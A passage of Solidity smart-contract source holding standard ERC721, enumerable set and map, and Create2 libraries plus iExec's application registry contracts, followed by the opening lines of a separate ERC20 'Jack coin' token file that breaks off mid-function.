* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If a base URI is set (via {_setBaseURI}), it is added as a prefix to the
* token's own URI (via {_setTokenURI}).
*
* If there is a base URI but no token URI, the token's ID will be used as
* its URI when appending it to the base URI. This pattern for autogenerated
* token URIs can lead to large gas savings.
*
* .Examples
* |===
* |`_setBaseURI()` |`_setTokenURI()` |`tokenURI()`
* | ""
* | ""
* | ""
* | ""
* | "token.uri/123"
* | "token.uri/123"
* | "token.uri/"
* | "123"
* | "token.uri/123"
* | "token.uri/"
* | ""
* | "token.uri/<tokenId>"
* |===
*
* Requirements:
*
* - `tokenId` must exist.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
*
* Reverts if the token ID does not exist.
*
* TIP: If all token IDs share a prefix (for example, if your URIs look like
* `https://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {
bytes32 _data = keccak256(
abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)
);
return address(bytes20(_data << 96));
}
}
abstract contract IRegistry is IERC721Enumerable
{
function isRegistered(address _entry) external virtual view returns (bool);
}
abstract contract Registry is IRegistry, ERC721, ENSReverseRegistration, Ownable
{
address public master;
bytes public proxyCode;
bytes32 public proxyCodeHash;
IRegistry public previous;
bool public initialized;
constructor(address _master, string memory _name, string memory _symbol)
public ERC721(_name, _symbol)
{
master = _master;
proxyCode = type(InitializableUpgradeabilityProxy).creationCode;
proxyCodeHash = keccak256(proxyCode);
}
function initialize(address _previous)
external onlyOwner()
{
require(!initialized);
initialized = true;
previous = IRegistry(_previous);
}
/* Factory */
function _mintCreate(address _owner, bytes memory _args)
internal returns (uint256)
{
// Create entry (proxy)
address entry = Create2.deploy(0, keccak256(abi.encodePacked(_args, _owner)), proxyCode);
// Initialize entry (casting to address payable is a pain in ^0.5.0)
InitializableUpgradeabilityProxy(payable(entry)).initialize(master, _args);
// Mint corresponding token
_mint(_owner, uint256(entry));
return uint256(entry);
}
function _mintPredict(address _owner, bytes memory _args)
internal view returns (uint256)
{
address entry = Create2.computeAddress(keccak256(abi.encodePacked(_args, _owner)), proxyCodeHash);
return uint256(entry);
}
/* Administration */
function setName(address _ens, string calldata _name)
external onlyOwner()
{
_setName(IENS(_ens), _name);
}
function setBaseURI(string calldata _baseURI)
external onlyOwner()
{
_setBaseURI(_baseURI);
}
/* Interface */
function isRegistered(address _entry)
external view override returns (bool)
{
return _exists(uint256(_entry)) || (address(previous) != address(0) && previous.isRegistered(_entry));
}
}
abstract contract RegistryEntry is ENSReverseRegistration
{
IRegistry public registry;
function _initialize(address _registry) internal
{
require(address(registry) == address(0), 'already initialized');
registry = IRegistry(_registry);
}
function owner() public view returns (address)
{
return registry.ownerOf(uint256(address(this)));
}
modifier onlyOwner()
{
require(owner() == msg.sender, 'caller is not the owner');
_;
}
function setName(address _ens, string calldata _name)
external onlyOwner()
{
_setName(IENS(_ens), _name);
}
}
contract App is RegistryEntry
{
/**
* Members
*/
string public m_appName;
string public m_appType;
bytes public m_appMultiaddr;
bytes32 public m_appChecksum;
bytes public m_appMREnclave;
/**
* Constructor
*/
function initialize(
string memory _appName,
string memory _appType,
bytes memory _appMultiaddr,
bytes32 _appChecksum,
bytes memory _appMREnclave)
public
{
_initialize(msg.sender);
m_appName = _appName;
m_appType = _appType;
m_appMultiaddr = _appMultiaddr;
m_appChecksum = _appChecksum;
m_appMREnclave = _appMREnclave;
}
}
contract AppRegistry is Registry
{
/**
* Constructor
*/
constructor()
public Registry(
address(new App()),
'iExec Application Registry (V5)',
'iExecAppsV5')
{
}
/**
* App creation
*/
function encodeInitializer(
string memory _appName,
string memory _appType,
bytes memory _appMultiaddr,
bytes32 _appChecksum,
bytes memory _appMREnclave)
internal pure returns (bytes memory)
{
return abi.encodeWithSignature(
'initialize(string,string,bytes,bytes32,bytes)'
, _appName
, _appType
, _appMultiaddr
, _appChecksum
, _appMREnclave
);
}
function createApp(
address _appOwner,
string calldata _appName,
string calldata _appType,
bytes calldata _appMultiaddr,
bytes32 _appChecksum,
bytes calldata _appMREnclave)
external returns (App)
{
return App(_mintCreate(_appOwner, encodeInitializer(_appName, _appType, _appMultiaddr, _appChecksum, _appMREnclave)));
}
function predictApp(
address _appOwner,
string calldata _appName,
string calldata _appType,
bytes calldata _appMultiaddr,
bytes32 _appChecksum,
bytes calldata _appMREnclave)
external view returns (App)
{
return App(_mintPredict(_appOwner, encodeInitializer(_appName, _appType, _appMultiaddr, _appChecksum, _appMREnclave)));
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Jack coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
